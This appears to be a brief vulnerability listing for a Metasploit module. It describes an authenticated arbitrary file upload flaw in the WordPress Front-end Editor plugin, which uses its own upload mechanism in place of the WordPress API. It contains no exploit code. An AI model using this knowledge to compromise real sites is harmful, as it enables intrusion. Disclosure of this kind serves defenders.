Wordpress Front-end Editor File Upload

Wordpress Front-end Editor File Upload
Posted Jun 15, 2015
Authored by Sammy | Site metasploit.com

The Wordpress Front-end Editor plugin contains an authenticated file upload vulnerability. We can upload arbitrary files to the upload folder, because the plugin also uses it's own file upload mechanism instead of the wordpress api it's possible to upload any file type.
